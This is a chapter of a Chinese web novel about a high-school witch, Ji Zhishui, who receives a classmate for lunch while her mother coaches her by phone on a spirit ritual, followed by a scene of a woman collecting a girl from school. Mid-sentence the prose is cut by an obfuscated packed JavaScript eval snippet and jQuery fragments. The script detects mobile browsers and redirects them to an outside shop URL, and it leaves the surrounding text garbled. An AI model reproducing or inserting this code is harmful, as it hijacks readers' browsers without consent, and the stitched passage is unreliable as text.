72. 第 72 章

作品:《女巫也要上高中吗

    面前的大门打开了一点门缝。


    率先露出来的,是一只圆溜溜的眼睛,警惕地朝顾天倾身后宽阔的走廊张望,最后在他脸上落定。


    “中午好。”顾天倾笑眯眯地和纪之水打了招呼。


    门缝扩大。


    门后的少女展露出真容,纪之水穿着一身全套的黑色法兰绒睡衣,脑袋后坠着一个大号的帽子,帽子上绣了一对圆圆的金瞳,还有两只猫耳朵。顾天倾望着纪之水身上毛茸茸的黑色居家服,眼睛缓慢地眨了一下。


    好像有点。


    蓬松。


    纪之水眉眼冷淡,刚吹干的头发略显毛躁,炸毛的头发中和了她不近人情的冷漠气质。她冲着顾天倾点了下头,算作打招呼,连在衣服后面的帽子带着两个立体的猫耳朵也跟着抖动。


    今天这么高冷吗?


    顾天倾拎起手里的袋子,轻轻晃了晃,动作幅度不大,只有小小的窸窣声,“你吃午饭了吗?我刚好带了点吃的。”


    没吃。


    纪之水矜持地点了下头,示意顾天倾进门。


    这是顾天倾第一次进纪之水家。


    他控制住目光没有乱看,将打包好的食物放在玄关边的柜子上,望着一地的女士拖鞋犯了难:“这里……有我可以穿的拖鞋吗?”


    纪之水看了顾天倾一眼。


    她还真没准备男士拖鞋。


    屋子里开了空调,顾天倾脱下鞋子,穿着袜子站在锃亮的瓷砖地面上,不太自然地说:“我只是问一句。也不冷,不穿鞋也可以的。”


    主要是怕人一个不高兴把他赶出去。


    纪之水看了顾天倾第二眼,依旧没有说话。她踩着拖鞋啪嗒啪嗒地一溜烟小跑,在顾天倾略带诧异的目光中钻进了卧室里。


    纪之水提起梅陆露的行李箱,果不其然从中收集出一堆酒店赠送的旅行装小样和几双没拆动的一次性拖鞋。


    收集癖大好!


    只是不知道大小合不合适。纪之水犹豫了一瞬,只有这个了,让顾天倾将就一下吧。


    耳机里的女声和缓温柔,“宝宝?大海?你在干嘛呀?我好像听见你那边有男孩子的声音。”


    “我刚才去开了下门,有同学来了。”纪之水老实回答,忽的顿了一下,不满于对方无意间脱口而出的称呼,“我已经减肥成功将近十五年了!妈妈。”


    今日苗条而有力量的纪之水,早就不是五六岁时那个圆滚滚,伸出胳膊像是一节藕的胖大海了!


    她的胳膊上可是有肌肉的。


    纪女士笑了两声。


    “好了,我们接着说刚才的事情。关于梦境在现实里的映射……”


    纪之水嗯嗯地点头,忘记了语音通话对面的纪女士实际上看不到她的动作。


    想到还有客人在等,纪之水扶了扶藏在耳朵里的耳机,随后捧着拖鞋哒哒哒跑回去。


    顾天倾还在门口站着。


    妈妈说的每个字都很重要,纪之水一时间分不出精力来招待他,将拖鞋塞进顾天倾怀里。


    好在他不算笨。


    顾天倾把脚塞进均码拖鞋,见纪之水向他招手,不明所以地抱着他的保温袋和保温盒靠近她。


    “这个时候你怎么在家啊?今天没去上学吗?”


    “你可以和那个女孩儿聊一聊。像妈妈教你的那样,你需要准备好鼠尾草、盐、银,当然,别忘了仪式刀……”


    这是非常珍贵的现场教学。


    两道不同的声音一左一右地往耳朵里钻,纪之水忙不过来。她冲着顾天倾指了指自己的耳机,顾天倾不解其意,下意识要问,嘴巴又张开了。


    纪之水伸手去捂,恰逢顾天倾俯身,想要看她在指什么,巴掌不轻不重地怼在顾天倾脸上。


    意外来得突然,纪之水愣住了,差点漏掉了电话里的仪式要点。


    这时候顾天倾才注意到纪之水黑发下藏着的蓝牙耳机。她雪白的耳垂染上了一点颜色,在他的注视下刚刚升温,纪之水有点慌乱。


    是愧疚的。


    她绝对不是故意的啊!


    顾天倾倒是没太在意那一下轻拍。他是原装脸,有什么好大惊小怪的?脸颊在纪之水掌心贴了贴,而后分开,顾天倾站直身体,懂了:原来是在打电话刚才才不理他。


    顾天倾举起一只手,在嘴巴上做了个拉上拉链的手势。


    纪之水用口型说了句抱歉。


    顾天倾却笑了起来,对她摇头,像是在说没关系。


    纪之水终于获得了一点清静,追问通灵仪式的配比:“妈妈,我有点儿不太记得你以前讲过的比例,盐是一勺还是两勺?”


    纪女士当即给出答复。


    纪女士的人生经验到底比纪之水丰富太多。她只听了纪之水的描述,很快就给出了她几点重要信息。


    首先,纪之水在梦境中降临的那个地点可能就是穆婉莹现在的位置——这并非指向灵体,而是穆婉莹的肉身。其次,她在梦境中被剥夺视觉,又曾经目睹穆婉莹的灵体失去舌头,这两点或许都能在穆婉莹此刻的肉身上得到一一对应。


    纪之水越是思考,越是被这些话背后的含义吓得说不出话来。


    穆婉莹的躯体……是失去了眼和舌吗?


    反应在脸上就是向下撇的嘴角,心情不佳的样子。


    在听到那个称呼的时候,顾天倾抱紧了手里的保温袋,一下站得笔直,惹得纪之水莫名又狐疑的一瞥。


    纪之水在和她妈妈打电话。


    即使知道纪之水打的是语音电话而不是视频,电话那头的人也并不知道他在场,顾天倾心中依旧升起一种说不清道不明的紧张感。脑子里天马行空地乱想。


    来都来了,要不要和阿姨打个招呼啊?


    可纪之水也没说。


    插嘴肯定是不礼貌的。旁听也礼貌不到哪里去吧?


    顾天倾想背着自己的双肩包、抱着保温袋去走廊吹吹风。


    百忙之中纪之水朝他做了个手势,顾天倾瞬间得到拯救,脑海中的胡思乱想被打散,连忙跟上纪之水的脚步。


    纪之水一面和纪女士说话,带着顾天倾穿过走廊,一面推开了卧室门走了进去。


    顾天倾的脚步又停住了。


    半开半合的门扉停留在他鼻尖,顾天倾却不得寸进。


    如果他没有记错,这一片的小区全都是类似的房型,两室一厅。纪之水进的,似乎是主卧的位置。


    他又不是那种轻浮的家伙,怎么会随便进女孩子的卧室?!


    纪之水在桌子前翻找。


    临出发前她收拾出了许多东西,因为不清楚具体会在金城待多久,又会遭遇什么,分批次寄了快递来。直到搬离黎家,另外租了房子,纪之水又拜托梅陆露将她打包好的物品寄过来,其中就有举行通灵仪式需要用的诸多材料。


    材料清单里要用的东西一一摆上桌面,纪之水心里又有了底气。妈妈说以她的能力完全能够处理好目前的情况,纪之水得意地扬了扬下巴:她也知道她一定可以!


    收拾了半天,纪之水回身才发现房间里少了个人。


    顾天倾没跟上来吗?


    电话早挂了,纪之水推门卧室门一看,地上坐着失踪的家伙。


    顾天倾盘腿背对着她,百无聊赖地揪着保温袋的提手,像个忧郁的空巢老人。


    室内温暖,顾天倾进门就脱了外套,被毛衣包裹的身形清瘦,透出青涩的少年感,偏又肩膀宽阔,颇具成年人的雏形,给人以一种混乱的矛盾感。


    他很吸引人。


    从见面第一天,纪之水就知道这一点,顾天倾是人群的中心,引人注目的焦点。所以他们才合不来。


    但现在光芒万丈的人群焦点傻呆呆地坐在她房间门口玩保温袋袋子。


    费解。


    “你坐在这里干什么,怎么不进来?”纪之水再一次理解不了这家伙的脑回路。


    不会是因为前几天她不小心喊了偷偷给他起的外号,顾天倾心里不满,所以在COS看门狗吧?


    这未免太伤敌一千自损八百。


    顾天倾答非所问:“这是你的卧室。”


    “然后?”纪之水挑了下眉毛。


    顾天倾怒而答曰:“我可不是那种好色的登徒子!”


    “?”


    纪之水回头看了眼黑漆漆的卧室。


    头骨台灯正在休眠,她的黑熊先生和另一只梅陆露抱来的黑熊女士双双下班,倒在床铺里熊事不省。被子平铺在床,这个以黑色和灰色为主色调的房间里并没有任何挑逗元素。


    纪之水缺乏和男性生物的交集,理解不了也尊重。书桌边虽然更适合谈话,顾天倾不想进也就算了。


    ——毕竟黎明达第一次看见她可爱的头骨台灯时吓了一跳,还愤愤骂她“神经病”。


    “那行。起来,去客厅。”纪之水用鞋尖踢了踢顾天倾扔在地上的双肩包。


    顾天倾一骨碌爬起来。


    纪之水回身去卧室取了资料又快速折返,关上卧室门。顾天倾走在前面,一步顶的上纪之水两步长,眼见着走过客厅,掠过沙发,纪之水终于忍不住出声了。


    “往哪去?走过了,沙发就在那儿。”纪之水说。


    刚才在卧室门口红了半天的脸早就恢复了正常,顾天倾抱着保温袋回头,估计她是彻底忘了,“你不是还没吃午饭吗?饭好像有点冷了,我去厨房热一下。你家有微波炉吗?”


    对哦,还要吃饭的。


    纪之水迟缓地记起来。


    发消息的时候差不多是在饭点,纪之水想到顾天倾可能也没吃饭。


    她三餐不太规律,这点和梅陆露一模一样,不饿的情况下偶尔会忘记自己还有顿饭要吃。纪之水说了句“抱歉”,早知道刚才打电话的时候应该先让顾天倾去吃饭的。


    顾天倾正在调加热时间,闻言愣了一下,分明坐在门口等了半天,心情居然看起来还不错:“为什么又要……?哦,不用道歉啦。”


    他反应过来,很快想通了纪之水道歉的原因。


    只有刚认识纪之水的人会误以为她不讲礼貌、脾气阴沉古怪,毕竟认识没多久她就看他不顺眼,顾天倾还收到了一封饱含同学情谊的建议信。时间会证明一切,个把星期后纪之水便已经和班上的同学融洽相处,广受女孩们好评。


    其实她是很有同理心的人。


    “我来之前吃过……”说出口又稍微停顿了一下,顾天倾怕说完谎纪之水就不愿意吃了。


    对纪之水而言,只要身体还能忍耐,就会有太多事情的优先级排在进食之前。


    顾天倾神色不变,补充:“我吃了一点垫了垫肚子,到这个又饿了。陪我吃一会儿再聊嘛,今天也没什么事。”


    在饭点前收到纪之水的回复,得知可以见面固然让顾天倾欣喜——虽然也没有太惊喜啦,主要还是因为待在家里是在没有什么好玩


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16704512|187616||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的,顾天倾闲不住只能和爷爷下五子棋。


    他还是在刘荃去开车的时候拜托阿姨帮忙装了刚做好的饭以防万一。饭本来就是带给纪之水的。顾天倾庆幸于自己的先见之明。


    纪之水于是说好。


    顾天倾带过来的饭菜不少,四菜一汤分门别类地垒了起来,一次性还热不完。


    纪之水把加热好的菜端去餐桌,觉得在桌上坐着等未免有轻慢客人的嫌疑,又折返进厨房。


    两室一厅的房子不算大,房型规划得其实不太像给一家人居住的,厨房过于狭窄,挤进两个人就会显得施展不开。


    顾天倾对纪之水家的厨房不熟悉,他走的太急,忘记准备餐具,刚想问纪之水,“你家的筷子放在——”


    转过身胸膛被轻轻一撞。


    纪之水的额头在他胸前磕了一下,下意识后仰。两人具感意外,顾天倾伸手扶住纪之水的肩膀。


    原本不扶还好,顾天倾力气太大,纪之水又没什么防备,于是又往前栽倒。偏又不是故意使坏,顾天倾看起来还有点慌,纪之水也没脾气了,只好伸手在他胸口撑了一下借力站直。


    “没撞痛吧?”顾天倾结结巴巴地问。


    隔着毛衣撞一下能有什么痛的?纪之水摇头,看向还有半分钟就结束工作的微波炉,去橱柜里找筷子。


    顾天倾站在原地,脑海中不受控制地浮现出刚刚纪之水撞进怀里的样子。她睫毛很长,排列浓密,皮肤近乎苍白,又有种瓷器的莹润质地。


    叮——


    微波炉的提示音响起,顾天倾如梦初醒,回身去端热好的饭菜。


    ·


    一上午在忙碌中眨眼而过,文锦看了眼时间,穆若婷快要放学了。


    她出了酒店,驱车前往金城高中。


    从市中心开过去,两个小时不到,现在出发刚好。


    自高中毕业后,文锦就离开了金城。她在S市念完大学,毕业后留在本地工作,但留下只是留下而已,很长一段时间里从一个出租屋辗转到另一个出租屋的文锦有时候会生出恍惚,她好像从来没有被这座繁华的、高速运转的城市接纳过。


    只要出了一点差错,她立马会被S市抛下。


    活在世界没有归属感才是常态。


    早年父母离异,又各自再婚,俩人像踢皮球一样吵闹着丢开妨碍他们新生活的女儿。昔日恋人反目成仇,连带看女儿也像看仇人。对比在金城的生活,文锦很快调整好了心态。


    文锦不管父母怎么看她,她只知道他们分开的时候她还没成年,没有钱,她一个人活不下去。


    温情换不回良心,文锦成了一个狼心狗肺、想尽办法从生父生母手里抠钱的讨债鬼。


    今天当着父亲再婚妻子的面和他追忆往昔,明天又去异父妹妹的幼儿园门口一站,对着来接孩子的母亲露出浅笑。在两人的责骂和质问里,有了家庭的人有了牵挂,处处是弱点,最后只能妥协。文锦得到了一套房。


    对文锦而言,也算仁至义尽的做法。她吃喝不愁,还要求什么呢?


    金城算不得家,文锦对自小长大的城市也没什么归宿感,只有过年才回趟金城,还没毕业时就下了决心,把金城的房子卖了。


    今年,她在S市的新房装修好了。


    忙忙碌碌到三十来岁,终于有了一个可以称之为“家”的地方,不必再担心被谁赶走了。


    文锦对时间估算得刚好。


    当她抵达金城高中时,校门前的马路已经有了拥挤之态。文锦见缝插针,顺利将车停下,步行去校门口。


    时间过去太久,写着校名的描金大字金漆剥落,透出岁月侵蚀的痕迹。文锦站在校门前,生出一种恍如隔世之感。


    今天是高中生们放学的日子。


    无数的家长正在门口等待,脸上是如出一辙的期盼。


    每逢周末,学校正常上下课,但不设下课铃声。


    无法从铃声里获悉孩子什么时候出来,相熟的家长有一搭没一搭地交谈,都有些心不在焉,间或举起手机看一眼,捱着时间。


    当手机上的数字跳过某个节点,有人远远看见教学楼有间教室打开了门,家长们没工夫攀谈了。


    学生们冲出教学楼,提起大包小包的行李往外跑,宛如投林的雀鸟。文锦望着陌生的校服制式,与她们上学那会儿已经相差甚远了。


    她收敛心神,注视着来往的学生,在人群中找寻。


    少顷,人群中出现了熟悉的身影,文锦举起了手摇晃,“小婷,这里!”


    穆若婷脚步迟疑。


    她肩上背着书包,手里还提了行李箱,学校里没有洗衣机,箱子里装的都是她不方便在学校清洗的冬日衣物,行李滚轮碾在坑坑洼洼的地面上,穆若婷心力憔悴,远远听见有人在喊自己的名字,诧异地抬起了头。


    目光和人群中穿着驼色羊绒大衣的女人对上,穆若婷立即开始了一场头脑风暴。


    对方看起来三十岁出点头,她一时没将文锦和记忆里的任何一位亲戚对上号。


    穆蓉那边的亲戚,绝大部分都早不来往了。


    穆若婷懵懵地提着大包小包往对方那边挤。


    距离越近看的越清楚。女人的不施粉黛的五官逐渐在眼前明晰,熟悉的回忆终于涌上心头。


    “文锦姐姐?”穆若婷试探着喊。


    文锦朝穆若婷一笑,接过她手里的行李箱,“走,我们回家去。”